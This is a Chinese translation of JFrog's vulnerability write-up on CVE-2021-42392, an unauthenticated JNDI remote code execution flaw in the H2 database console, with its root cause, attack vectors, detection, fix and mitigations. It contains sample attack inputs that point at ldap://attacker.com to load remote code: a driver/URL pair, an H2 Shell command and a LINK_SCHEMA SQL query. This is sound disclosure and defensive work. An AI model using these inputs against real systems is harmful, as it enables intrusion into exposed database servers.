深入分析H2数据库控制台中无需身份验证的RCE漏洞 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

深入分析H2数据库控制台中无需身份验证的RCE漏洞

fanyeee 漏洞 2022-01-10 11:56:18
收藏

导语:在本文中,我们将于读者一起深入分析H2数据库控制台中无需身份验证的RCE漏洞 。

简介

最近,JFrog安全研究团队披露了H2数据库控制台中的一个安全漏洞,其编号为CVE-2021-42392。这个安全漏洞与Apache Log4j中臭名昭著的Log4Shell漏洞(JNDI远程类加载)有着相同的根源。

H2是一个非常流行的开源Java SQL数据库,提供一个轻量级的内存解决方案,使得用户无需将数据存储在磁盘上。这使得它成为各种项目的首选数据存储解决方案:从Spring Boot等网络平台到ThingWorks等物联网平台。而com.h2database:h2包则是最流行的50个Maven包之一,具有近7000个工件依赖项。

由于目前任何与(Java)JNDI有关的东西都很敏感,所以,在介绍H2漏洞发现之旅之前,我们有必要先澄清一下成功利用该漏洞的前提条件和配置。

尽管这两个漏洞的根源相似,但由于以下因素,CVE-2021-42392漏洞并没有像Log4Shell(CVE-2021-44228)漏洞那样常见:

1、与Log4Shell不同,该漏洞的影响范围是“直接”的。这意味着,通常只有处理初始请求的服务器(H2控制台)才会受到该RCE的影响。与Log4Shell相比,这个漏洞的影响相对较小,因为易受攻击的服务器应该很容易找到。

2、在H2数据库的vanilla发行版上,默认情况下,H2控制台只监听本地主机连接:这使得默认设置是安全的。这与Log4Shell不同,Log4Shell在Log4j的默认配置中是可以利用的。然而,值得注意的是,H2控制台也可以很容易地被修改为监听远程连接。

3、许多供应商可能运行H2数据库,但并不会运行H2控制台。尽管除了控制台之外还有其他可利用这个漏洞的途径,但它们都严重依赖于上下文,所以不太可能暴露给远程攻击者。

也就是说,如果您运行的H2控制台暴露给了局域网(或者更糟糕的是,广域网),这个安全问题就很严重了(无需身份验证的远程代码执行漏洞),所以,您应该立即将H2数据库更新到2.0.206版本。

我们还发现,许多开发者工具都依赖H2数据库,并特意暴露了H2控制台(后面会举一些例子)。根据最近针对开发者的供应链攻击的趋势来看,如流行的存储库中的恶意包,应该提高对开发者工具对所有合理使用情况的安全性的重视。我们认为,依赖H2的开发者工具应尽快采用修复后的数据库版本,以提高其安全性。

我们为什么要扫描JNDI的漏洞?

我们从Log4Shell漏洞事件中得到的一个重要启示是,由于JNDI的广泛使用,必然会有更多的软件包受到与Log4Shell相同的根源的影响:接受任意的JNDI查找URLs。因此,我们调整了自动漏洞检测框架,将”javax.naming.Context.lookup“函数视为危险函数(sink),并将该框架释放到Maven仓库中,希望能找到与Log4Shell类似的安全漏洞。

我们得到的第一个有效命中点是关于H2数据库包的。在确认了这个问题后,我们把它报告给了H2的维护者,他们及时在新的版本中修复了这个问题,并在GitHub上发布了一个关键漏洞的公告。随后,我们也公布了一个高危漏洞,编号为CVE-2021-42392。

在这篇文章中,我们将介绍我们在H2数据库中发现的几个允许触发远程JNDI查询的攻击途径,其中一个途径可以实现无需身份验证的远程代码执行。

漏洞根源:JNDI远程类加载

简单来说,该漏洞的根本原因与Log4Shell类似:H2数据库框架中的几个代码路径将未经过滤的、攻击者控制的URL直接传递给了javax.naming.Context.lookup函数,这将允许远程加载代码库(又称Java代码注入,又称远程代码执行)。

具体来说,org.h2.util.JdbcUtils.getConnection方法需要一个驱动程序类名称和数据库URL作为参数。如果驱动程序的类可分配给javax.naming.Context类,则该方法会从中实例化一个对象并调用其查找方法:

else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

所以,如果提供一个驱动类(如javax.naming.InitialContext)和一个URL(如ldap://attacker.com/Exploit),就会导致远程代码执行。

1.png

CVE-2021-42392攻击向量

H2控制台——上下文无关的、无需身份验证的RCE

这个安全问题最严重的攻击向量是通过H2控制台发动攻击。

H2数据库包含一个内嵌的、基于Web的控制台,帮助管理员轻松管理数据库。当运行H2包JAR时,它在http://localhost:8082上是默认可用的:

java -jar bin/h2.jar

此外,在Windows系统上,也可以通过“开始”菜单启用它:

1.png

此外,当H2作为一个嵌入式库使用时,该控制台可以从Java中启动:

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();

对控制台的访问是通过一个登录表格来提供保护的,它允许将“driver”和“url”字段传递给JdbcUtils.getConnection的相应字段。正是这一点导致了无需身份验证的RCE,因为在用潜在的恶意URL进行查找之前,根本无需验证用户名和密码。

1.png

在默认情况下,H2控制台只能从本地主机访问。这一选项可以通过控制台的用户界面加以修改:

1.png

或者通过一个命令行参数:-webAllowOthers进行修改。

不幸的是,我们发现,一些依赖H2数据库的第三方工具会默认运行暴露给远程客户端的H2控制台。例如,JHipster框架也暴露了H2控制台,并默认将webAllowOthers属性设置为true。

# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false

从文档中可以看出,当使用JHipster框架运行应用程序时,默认情况下,允许在/h2-console端点上的JHipster web界面上使用H2控制台:

1.png

由于H2数据库被如此多的工件使用,所以很难量化H2控制台中存在多少易受攻击的部署。我们之所以认为这是最严重的攻击向量,也是因为使用公共搜索工具就可以定位面向WAN的易受攻击的控制台。

H2 Shell工具:依赖上下文的RCE

在内置的H2 shell中,能够控制命令行参数的攻击者,可以调用前面提到的易受攻击的驱动程序和url来搞事情:

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我们认为这种攻击向量是难以奏效的,因为这要求存在自定义代码,还需要将远程输入通过管道传输这些命令行参数。但是,如果存在这样的自定义代码,攻击者就可以控制命令行的某些部分,那么这种攻击就比较有希望了,并能发动参数注入攻击。关于这种攻击的更多细节,请参阅我们的Yamale文章

基于SQL的向量:需要身份验证的(高权限的)RCE

此外,易受攻击的JdbcUtils.getConnection也可以被几个SQL存储过程调用,而这些存储过程在H2数据库中是默认可用的。我们已经确定了几个存储过程,但它们都有相同的属性,这使得这种攻击向量威力有限——因为只有经过身份验证的管理员才能调用它们。

例如,LINK_SCHEMA存储过程直接将驱动程序和URL参数传递到易受攻击的函数中,具体如下面的查询所示:

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于该存储过程只限于DB管理员使用,所以,我们认为最可能的攻击手段是将单独的SQL注入漏洞升级为RCE漏洞。

如何检测自己是否受到CVE-2021-42392漏洞的影响?

网络管理员可以用nmap扫描他们的本地子网,查看H2控制台的开放实例,例如:

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在vanilla安装中,默认的控制台端点是"/";对于通过第三方工具部署的H2控制台来说,情况可能有所不同)

任何返回的服务器都很可能被利用。

如上所述,尽管还存在其他攻击向量,不过通过它们进行远程利用的可能性要小得多。但是无论如何,我们都建议用户升级H2数据库(详见后文)。

我们是如何检测到CVE-2021-42392的?

这个安全问题可以通过数据流分析(DFA)检测到,尤其是把Java内置的HttpServlet.doGet/doPost方法定义为用户输入源(特别是第1个req参数),而把上述的javax.naming.Context.lookup方法(执行JNDI查找)定义为危险函数/汇时。

这种情况下的数据流是相当直接的,尽管需要对一些类的字段进行追踪。红色标记的变量代表追踪的数据:

1.png

1.png

1.png

1.png

针对CVE-2021-42392的修复建议

我们建议所有H2数据库的用户尽快升级到2.0.206版本,即使您没有直接使用H2控制台。这是因为还存在其他攻击途径,其可利用性目前还难以确定。

2.0.206版通过限制JNDI URL只使用(本地)java协议来修复CVE-2021-42392漏洞,并拒绝任何远程LDAP/RMI查询。这与Log4j 2.17.0中应用的修复方法类似。

如何缓解CVE-2021-42392漏洞的影响?

对该漏洞的最佳修复方法是升级H2数据库。

对于目前无法升级H2的供应商,我们提供以下缓解方案:

1、与Log4Shell漏洞类似,较新版本的Java包含trustURLCodebase缓解措施,不允许通过JNDI直接加载远程代码库。供应商可升级其Java(JRE/JDK)版本,以启用这一缓解措施。

该缓解措施在以下版本的Java(或任何更高的版本)中都是默认启用的:

6u211

7u201

8u191

11.0.1

然而,这种缓解措施并不是无懈可击的,因为攻击者可以通过LDAP发送一个序列化的“gadget”Java对象就可以绕过该缓解措施,只要相应的“gadget”类被包含在classpath中(取决于运行H2数据库的服务器)即可。关于这方面的更多信息,请参见Log4Shell的相关文章

2、当H2控制台Servlet被部署在Web服务器上时(不使用独立的H2 Web服务器),可以添加一个安全约束,只允许特定的用户访问控制台页面。一个合适的配置例子可以在这里找到

鸣谢

我们要感谢H2数据库的维护者,他们及时验证和修复了这个安全问题,并负责任地为这个安全问题发布了一个安全公告。

小结

最后,我们强烈建议将您的H2数据库升级到最新版本,以避免受到与CVE-2021-42392漏洞有关的攻击。我们的安全研究团队正在持续扫描类似的JNDI漏洞,这既是为了负责任的披露目的,也是为了提高我们未来零日漏洞的检测能力。据我们所知,CVE-2021-42392是Log4Shell之后公布的第一个JNDI相关的无需身份验证的RCE漏洞,但我们怀疑它绝不会是最后一个。

本文翻译自:https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论